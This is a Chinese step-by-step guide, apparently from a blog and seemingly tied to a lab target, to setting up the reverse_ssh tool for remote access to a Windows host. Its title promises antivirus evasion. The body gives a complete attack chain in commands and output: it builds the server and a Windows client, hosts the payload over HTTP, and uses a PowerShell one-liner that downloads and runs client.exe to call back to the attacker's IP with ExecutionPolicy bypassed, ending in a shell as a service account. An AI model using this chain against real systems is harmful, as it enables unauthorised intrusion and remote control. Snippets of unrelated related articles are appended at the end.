reverse_ssh 建立反向 SSH 连接指南 混淆AV [好东西哟]
目录
🌐 工具简介
⚙️ 前提条件
攻击主机 (Linux)
目标主机 (Windows)
📋 详细步骤
步骤 1:安装 Go 环境
步骤 2:安装必要依赖
步骤 3:下载并编译 reverse_ssh
步骤 4:配置密钥
步骤 5:启动 reverse_ssh 服务器
步骤 6:创建 PowerShell 脚本
步骤 7:生成 diff.txt
步骤 8:启动 HTTP 服务器
步骤 9:目标主机:执行 PowerShell 脚本
步骤 10:攻击主机:确认连接并获取 ID
步骤 11:攻击主机:建立 SSH 连接
❗️ 错误排查与修复
错误 1:主机密钥验证失败
错误 2:公钥认证失败
🌐 工具简介
reverse_ssh 是一个基于 Go 语言开发的开源工具,用于创建反向 SSH 连接。它允许 Windows 目标主机绕过防火墙或 NAT,主动连接到攻击主机的 SSH 服务器,提供交互式 PowerShell shell。
-
服务器端:运行在攻击主机,监听指定端口(如 3232)。
-
客户端 (client.exe):运行在 Windows 目标主机,连接到攻击主机。
-
功能:支持动态端口转发、文件传输(SCP/SFTP)及 Windows 交互式 shell(通过 conpty/winpty)。
⚙️ 前提条件
攻击主机 (Linux)
-
操作系统:Linux(如 Ubuntu)。
-
工具:Git、Go(版本 1.17 或更高)、make、Python3、OpenSSH 客户端。
-
防火墙:开放端口 3232(服务器端口)和 80(HTTP 服务器端口)。
-
IP 地址:10.10.14.52(通过 ifconfig 或 ip addr 确认)。
-
用户:以 root 或普通用户(如 fidey)操作,需注意文件权限。
目标主机 (Windows)
-
系统:Windows(支持 PowerShell)。
-
网络:可访问 10.10.14.52:3232 和 10.10.14.52:80。
-
权限:通过漏洞利用或其他方式可执行 PowerShell 脚本。
📋 详细步骤
以下步骤假设工作目录为 /home/fidey/Desktop/reverse_ssh,用户为 fidey,但以 root 执行部分命令。
步骤 1:安装 Go 环境
目标:确保 Go(版本 1.17 或更高)正确安装以编译 reverse_ssh。
-
检查现有 Go 版本:
go version
-
如果版本低于 1.17 或未安装,继续以下步骤。
-
卸载旧版 Go(如有):
sudo rm -rf /usr/local/go sudo apt remove golang-go -y
-
下载并安装 Go 1.22.3(截至 2025/05/21 的最新版本):
wget https://go.dev/dl/go1.22.3.linux-amd64.tar.gz sudo tar -C /usr/local -xzf go1.22.3.linux-amd64.tar.gz
-
配置环境变量:
-
编辑 ~/.bashrc 或 ~/.zshrc:
vim ~/.bashrc
-
添加:
export PATH=$PATH:/usr/local/go/bin
-
-
使配置生效:
source ~/.bashrc
-
验证 Go 安装:
go version
预期输出:
go version go1.22.3 linux/amd64
-
如果输出不正确,检查下载链接或环境变量配置。
步骤 2:安装必要依赖
目标:确保系统具备编译和运行 reverse_ssh 的依赖。
-
更新系统包索引:
sudo apt update
-
安装 Git 和 make:
sudo apt install git make -y
-
安装 OpenSSH 客户端(用于后续 SSH 连接):
sudo apt install openssh-client -y
-
攻击主机生成ssh公钥私钥 命令解释:
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
############## ssh-keygen OpenSSH 提供的密钥生成工具,用于创建 SSH 认证所需的公钥/私钥对。 ############## -t ed25519 指定密钥类型为 ed25519(基于 Edwards-curve Digital Signature Algorithm)。 优势:安全性高(等效 RSA 3072 位)、生成速度快、密钥长度短(仅 256 位)。 ############## -f ~/.ssh/id_ed25519 指定私钥保存路径为 ~/.ssh/id_ed25519(用户家目录下的 .ssh 文件夹)。 公钥会自动生成在同路径下,文件名追加 .pub(即 ~/.ssh/id_ed25519.pub)。 ############## -N "" 设置密钥的密码(passphrase)为空(""表示无密码)。 若需密码保护,可替换为 -N "your_password"。 ############## 命令输出示例:Generating public/private ed25519 key pair. Your identification has been saved in /home/user/.ssh/id_ed25519 Your public key has been saved in /home/user/.ssh/id_ed25519.pub The key fingerprint is: SHA256:AbCdEfGhIjKlMnOpQrStUvWxYz1234567890 user@hostname The key's randomart image is: +--[ED25519 256]--+ | .o+o. | | . oo . . | | . . = o | | o = * . | | . S + + . | | o = . | | + . | | . E | | .. | +----[SHA256]-----+
步骤 3:下载并编译 reverse_ssh
目标:从 GitHub 获取 reverse_ssh v1.0.16 并编译生成服务器和客户端。
-
创建工作目录:
mkdir -p /home/fidey/Desktop/reverse_ssh cd /home/fidey/Desktop/reverse_ssh
-
克隆 reverse_ssh 仓库(指定 v1.0.16):
git clone --branch v1.0.16 https://github.com/NHAS/reverse_ssh.git cd reverse_ssh
-
编译服务器和客户端:
make
预期输出:
-
bin/server(Linux 服务器)
-
bin/client(Linux 客户端)
-
bin/id_ed25519(服务器私钥)
-
bin/id_ed25519.pub(服务器公钥)
-
-
为 Windows 编译客户端:
GOOS=windows GOARCH=amd64 make client
预期输出:bin/client.exe(Windows 可执行文件)。
-
验证编译结果:
ls -l bin/
预期输出:
-rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 client -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 client.exe -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 server -rw------- 1 fidey fidey 411 May 21 13:00 id_ed25519 -rw-r--r-- 1 fidey fidey 102 May 21 13:00 id_ed25519.pub
步骤 4:配置密钥
目标:配置服务器密钥和攻击主机公钥以接受连接。
-
进入 bin 目录:
cd bin
-
检查服务器密钥:
ls id_ed25519 id_ed25519.pub
-
若缺失,重新生成:
ssh-keygen -t ed25519 -f id_ed25519 -N ""
-
生成攻击主机的 SSH 密钥对(若未生成):
-
检查 root 用户密钥:
ls -l /root/.ssh/id_ed25519 /root/.ssh/id_ed25519.pub
-
若不存在,生成:
sudo ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
-
-
创建并配置 authorized_keys:
-
创建 authorized_keys 文件:
touch authorized_keys
-
添加攻击主机的公钥(假设以 root 连接):
cat /root/.ssh/id_ed25519.pub >> authorized_keys
注意:不要将 id_ed25519.pub(服务器公钥)复制到 authorized_keys,这是常见错误。
-
-
设置文件权限:
chmod 600 authorized_keys id_ed25519 chmod 644 id_ed25519.pub
-
验证权限:
ls -l authorized_keys id_ed25519 id_ed25519.pub
预期输出:
-rw------- 1 fidey fidey 102 May 21 13:01 authorized_keys -rw------- 1 fidey fidey 411 May 21 13:00 id_ed25519 -rw-r--r-- 1 fidey fidey 102 May 21 13:00 id_ed25519.pub
步骤 5:启动 reverse_ssh 服务器
目标:运行服务器,监听 0.0.0.0:3232。
-
确保在 bin 目录:
pwd
预期输出:
/home/fidey/Desktop/reverse_ssh/reverse_ssh/bin
-
启动服务器:
./server 0.0.0.0:3232 --insecure
--insecure:跳过部分握手验证,简化连接。 预期输出:
2025/05/21 13:17:02 Listening on 0.0.0.0:3232 2025/05/21 13:17:02 Loading private key from: /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin/id_ed25519 2025/05/21 13:17:02 Server key fingerprint: df32b00476bafa0d...
-
若提示 authorized_keys 缺失,检查步骤 4。
-
验证端口监听:
netstat -tuln | grep 3232
预期输出:
tcp 0 0 0.0.0.0:3232 0.0.0.0:* LISTEN
步骤 6:创建 PowerShell 脚本
目标:生成脚本让目标主机下载并执行 client.exe。
-
创建 hello_world.ps1:
echo 'iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232' > hello_world.ps1
-
验证脚本内容:
cat hello_world.ps1
预期输出:
iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232
步骤 7:生成 diff.txt
目标:将脚本保存为 diff 格式,便于传递。
-
初始化 Git 仓库:
git init
-
添加并生成 diff:
git add hello_world.ps1 git diff --cached > diff.txt
-
验证 diff.txt:
cat diff.txt
预期输出:
diff --git a/hello_world.ps1 b/hello_world.ps1 new file mode 100644 --- /dev/null +++ b/hello_world.ps1 @@ -0,0 +1 @@ +iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe;C:\windows\temp\client.exe 10.10.14.52:3232
步骤 8:启动 HTTP 服务器
目标:提供 client.exe 下载。
-
确保 client.exe 存在:
ls client.exe
-
启动 HTTP 服务器:
python3 -m http.server 80
在新终端运行,避免干扰服务器进程。
-
验证:在攻击主机或另一台机器上运行:
curl http://10.10.14.52:80/client.exe
应返回二进制数据或下载文件。
步骤 9:目标主机:执行 PowerShell 脚本
目标:通过漏洞利用运行脚本,建立反向连接。
-
传递脚本:
-
将 diff.txt 内容转换为 C:\temp\hello_world.ps1(通过漏洞传递)。
-
示例内容:
iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232
-
-
执行脚本:
-
在目标主机打开 PowerShell(Win + R,输入 powershell)。
-
运行:
powershell -ExecutionPolicy Bypass -File C:\temp\hello_world.ps1
-
脚本下载 client.exe 并运行,连接到 10.10.14.52:3232。
-
-
检查 client.exe 是否运行:
dir C:\windows\temp\client.exe
-
若缺失,检查 HTTP 服务器或防病毒软件拦截。
-
步骤 10:攻击主机:确认连接并获取 ID
目标:记录目标主机的连接 ID。
-
查看服务器终端输出:
-
成功连接示例:
2025/05/21 13:20:00 [10.10.11.207:53849] INFO sshd.go:360 acceptConn() : New controllable connection with id 36bc39ca884246b576a98cf7168e530becb34e
-
-
记录连接 ID(如 36bc39ca884246b576a98cf7168e530becb34e)。
步骤 11:攻击主机:建立 SSH 连接
目标:通过连接 ID 获取目标主机的 PowerShell shell。
-
尝试连接:
ssh -J 10.10.14.52:3232 36bc39ca884246b576a98cf7168e530becb34e
-
成功后进入 PowerShell shell: 预期输出:
Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\TeamCity\buildAgent\work\74c2f03019966b3e> whoami coder\svc_teamcity
❗️ 错误排查与修复
错误 1:主机密钥验证失败
错误信息:
WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! Host key for [10.10.14.52]:3232 has changed and you have requested strict checking. Host key verification failed.
原因:/root/.ssh/known_hosts 中的主机密钥与当前服务器密钥不匹配。 解决方案:
-
移除旧主机密钥:
ssh-keygen -f "/root/.ssh/known_hosts" -R "[10.10.14.52]:3232"
-
临时禁用严格检查(仅测试用):
ssh -J 10.10.14.52:3232 -o StrictHostKeyChecking=no 36bc39ca884246b576a98cf7168e530becb34e
-
重新连接:
ssh -J 10.10.14.52:3232 <connection_id>
错误 2:公钥认证失败
错误信息:
root@10.10.14.52: Permission denied (publickey). kex_exchange_identification: Connection closed by remote host
原因:攻击主机的公钥未在服务器的 authorized_keys 中。 解决方案:
-
检查攻击主机密钥:
ls -l /root/.ssh/id_ed25519 /root/.ssh/id_ed25519.pub
-
若缺失,生成:
sudo ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
-
添加公钥到 authorized_keys:
cat /root/.ssh/id_ed25519.pub >> /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin
相关文章:

reverse_ssh 建立反向 SSH 连接指南 混淆AV [好东西哟]
目录 🌐 工具简介 ⚙️ 前提条件 攻击主机 (Linux) 目标主机 (Windows) 📋 详细步骤 步骤 1:安装 Go 环境 步骤 2:安装必要依赖 步骤 3:下载并编译 reverse_ssh 步骤 4:配置密钥 步骤 5ÿ…...
vue+elementUi+axios实现分页(MyBatis、Servlet)
vueelementUiaxios实现分页 文章目录 vueelementUiaxios实现分页1.代码实现【HTML】**【Servlet层】****【Service层】****【Dao层】** 2.总结步骤3.实现要点4.注意事项4.注意事项 注:此项目 前端为 html、 后端采用 mybatis、servlet实现 1.代码实现 【HTML】…...
WebBuilder数据库:企业数据管理的能力引擎
在数据成为核心生产要素的时代,企业对数据库的需求早已超越“存储与查询”的基础功能,转而追求高性能、高安全、高兼容与高效开发的综合能力。WebBuilder作为企业级快速开发平台的佼佼者,其数据库能力正式破解数据管理难题的关键钥匙。本文将…...
QtWidgets,QtCore,QtGui
目录 三者的关系示例代码主要功能模块QtCore**一、核心功能与常用类****1. 信号与槽机制(Signals and Slots)****2. 事件处理(Event Handling)****3. 定时器(Timers)****4. 线程(Threading)****5. 文件与目录操作****6. 属性系统(Property System)****二、高级特性**…...

lvs-keepalived高可用群集
目录 1.Keepalived 概述及安装 1.1 Keepalived 的热备方式 1.2 keepalived的安装与服务控制 (1)安装keep alived (2)控制 Keepalived 服务DNF 安装 keepalived 后,执行以下命令将keepalived 服务设置为开机启动。 2.使用 Keepalived 实现双机热备 …...
【Elasticsearch】suggest
在Elasticsearch中,suggest 是一个非常强大的功能,用于实现自动补全、拼写纠错和模糊搜索等功能。它可以帮助用户更快地找到他们想要的内容,同时提升搜索体验。以下是关于 suggest 的详细使用方法和常见场景。 1\. Suggest 的基本概念 sugges…...

高速收发器
一、高速收发器 1.FPGA高速收发器:GTP,GTX,GTH,GTZ 2.每个Quad有4对高速收发器GT(4个TX和4个RX)和一个COmmon 3.走差分,提高抗干扰性 4.CPLL是每个lane私有的,QPLL是整个Quad的所有通道共享的 5.每个MGT的bank有两对差分参考时钟 6.CPLL的时钟…...

webpack的安装及其后序部分
npm install原理 这个其实就是npm从registry下载项目到本地,没有什么好说的 值得一提的是npm的缓存机制,如果多个项目都需要同一个版本的axios,每一次重新从registry中拉取的成本过大,所以会有缓存,如果缓存里有这个…...

如何利用自动生成文档工具打造出色的技术文档
文章目录 每日一句正能量前言一、自动生成文档工具的优势(一)提高效率(二)保持一致性(三)实时更新 二、常见的自动生成文档工具(一)Sphinx(二)Javadoc&#x…...
读《Go语言圣经记录》(二):深入理解Go语言的程序结构
读《Go语言圣经记录》(二):深入理解Go语言的程序结构 在编程的世界里,Go语言以其简洁、高效和强大的并发能力而备受开发者青睐。今天,我将带大家深入探索Go语言的程序结构,通过详细解读《Go语言圣经》中的…...

实验设计与分析(第6版,Montgomery)第5章析因设计引导5.7节思考题5.7 R语言解题
本文是实验设计与分析(第6版,Montgomery著,傅珏生译) 第5章析因设计引导5.7节思考题5.7 R语言解题。主要涉及方差分析,正态假设检验,残差分析,交互作用图,等值线图。 dataframe <-data.frame…...
nacos Sentinel zipkin docker运行
服务注册发现 分布配置中⼼nacos dockerdocker pull nacos/nacos-server:1.3.2docker run -d --name nacos-server -p 8848:8848 -e MODEstandalone nacos/nacos-server:1.3.2访问 http://localhost:8848/nacos 服务限流降级:Sentinel docker docker pul…...

OpenCv高阶(二十)——dlib脸部轮廓绘制
文章目录 一、人脸面部轮廓绘制代码实现1、定义绘制直线段的函数2、定义绘制凸包轮廓的函数3、读取输入图像4、初始化dlib的人脸检测器5、使用检测器在图像中检测人脸(参数0表示不进行图像缩放)6、加载dlib的68点人脸关键点预测模型7、遍历检测到的每个人…...

pikachu靶场通关笔记08 XSS关卡04-DOM型XSS
目录 一、XSS原理 二、DOM型XSS 三、源码分析 1、进入靶场 2、XSS探测 3、源码分析 四、渗透实战 1、Payload1 2、Payload2 3、Payload3 本系列为通过《pikachu靶场通关笔记》的XSS关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到XSS风…...
python集成inotify-rsync实现跨服务器文件同步
1、实现功能 通过结合 Python 的 watchdog 库(类似 Linux 的 inotify 机制)和 rsync 命令,实现了文件系统变化的实时监控和增量同步。下面详细解释其工作原理和运行方式: 2、核心工作原理 2.1、文件监控 使用watchdog库监控源目…...
005 ElasticSearch 许可证过期问题
ElasticSearch 许可证过期问题 项目启动报错 org.elasticsearch.client.ResponseException: method [GET], host [http://127.0.0.1:9200], URI [/_cluster/health/], status line [HTTP/1.1 403 Forbidden] {"error":{"root_cause":[{"type":…...

Spring AI 系列之使用 Spring AI 开发模型上下文协议(MCP)
1. 概述 现代网页应用越来越多地集成大型语言模型(LLMs)来构建解决方案,这些解决方案不仅限于基于常识的问答。 为了增强 AI 模型的响应能力,使其更具上下文感知,我们可以将其连接到外部资源,比如搜索引擎…...

[Python] Python运维:系统性能信息模块psutil和系统批量运维管理器paramiko
初次学习,如有错误还请指正 目录 系统性能信息模块psutil 获取系统性能信息 CPU信息 内存信息 磁盘信息 网络信息 其他信息 进程信息 实用的IP地址处理模块IPy IP地址、网段的基本处理 多网络计算方法 系统批量运维管理器paramiko paramiko 的安装 Li…...

Linux 简单模拟实现C语言文件流
🌇前言 在 C语言 的文件流中,存在一个 FILE 结构体类型,其中包含了文件的诸多读写信息以及重要的文件描述符 fd,在此类型之上,诞生了 C语言 文件相关操作,如 fopen、fclose、fwrite 等,这些函数…...
ArcPy错误处理与调试技巧(3)
三、调试技巧 调试是编程过程中不可或缺的一部分,以下是一些常用的调试技巧: 1. 打印调试信息 在代码中添加print语句,可以帮助你了解程序的运行状态和变量的值。例如: # 打印提示信息,表示开始执行缓冲区分析 print(…...

小程序使用npm包的方法
有用的链接 npm init -y 这个命令很重要, 会初始化 package.json 再重新打开微信小程序开发工具 选择工具中npm构建 在程序中引用时在main.js中直接使用包名的方式引用即可 如安装的是generator包,npm构建后就会生成 const myPackage require(***-generato…...
Asp.Net Core SignalR的协议协商问题
文章目录 前言一、协议协商的原理二、常见的协商问题及解决办法1.跨域资源共享(CORS)问题2.身份验证和授权问题3.传输方式不兼容问题4.路由配置错误5.代理和负载均衡器问题6.自定义协商(高级) 总结 前言 在ASP.NET Core SignalR …...

Rust 学习笔记:发布一个 crate 到 crates.io
Rust 学习笔记:发布一个 crate 到 crates.io Rust 学习笔记:发布一个 crate 到 crates.io提供有用的文档注释常用标题文档注释作为测试注释所包含的项目 使用 pub use 导出一个方便的公共 API设置 crates.io 账户添加 metadata 到一个新的 crate发布到 c…...
剪枝中的 `break` 与 `return` 区别详解
在回溯算法的剪枝操作中: if (sum candidates[i] > target) break;这个 break 既不等效于 return,也不会终止整个回溯过程。它只会终止当前层循环的后续迭代,而不会影响其他分支的回溯。让我用图解和示例详细说明: …...
Spring Boot 4.0实战:构建高并发电商系统
Spring Boot 4.0作为Java生态的全新里程碑,首次原生支持虚拟线程(Virtual Threads)与Project Loom特性,单机QPS处理能力较3.x版本提升5-8倍。本文以电商系统为实战场景,深度解析Spring Boot 4.0在微服务架构、分库分表…...

Vert.x学习笔记-EventLoop与Context的关系
Vert.x学习笔记 1. EventLoop 的核心作用2. Context 的核心作用3. EventLoop 与 Context 的关系1. 事件循环(EventLoop)的核心职责2. 上下文(Context)的核心职责3. 事件循环与上下文的关系(1)一对一绑定&am…...

2025030给荣品PRO-RK3566开发板单独升级Android13的boot.img
./build.sh init ./build.sh -K ./build.sh kernel 【导入配置文件】 Z:\Android13.0\rockdev\Image-rk3566_t\config.cfg 【更新的内核】 Z:\Android13.0\rockdev\Image-rk3566_t\boot.img 【导入分区表,使用原始的config.cfg会出错的^_】 Z:\Android13.0\rockdev\…...

由enctype-引出post与get的关系,最后深究至请求/响应报文
本篇载自我的笔记,本次为第二次复习。我觉得我有能力理一下思路了。 --- 笔记截图。 enctype HTML 表单的 enctype(Encode Type,编码类型)属性用于控制表单数据在提交到服务器时的编码方式,不同取值的详细解析如下&a…...
排序算法衍生问题
排序算法衍生问题 引言 排序算法是计算机科学中基础且重要的算法之一,其应用广泛,如数据统计分析、数据库操作、网络排序等。随着计算机科学的发展,排序算法的研究不仅局限于传统的排序方法,还衍生出许多有趣且实用的衍生问题。…...
Mac电脑上本地安装 redis并配置开启自启完整流程
文章目录 一、安装 Redis方法 1:通过源码编译安装(推荐)方法 2:通过 Homebrew 安装(可选) 二、配置 Redis1. 创建配置文件和数据目录2. 修改配置文件 三、配置开机自启1、通过 launchd 系统服务(…...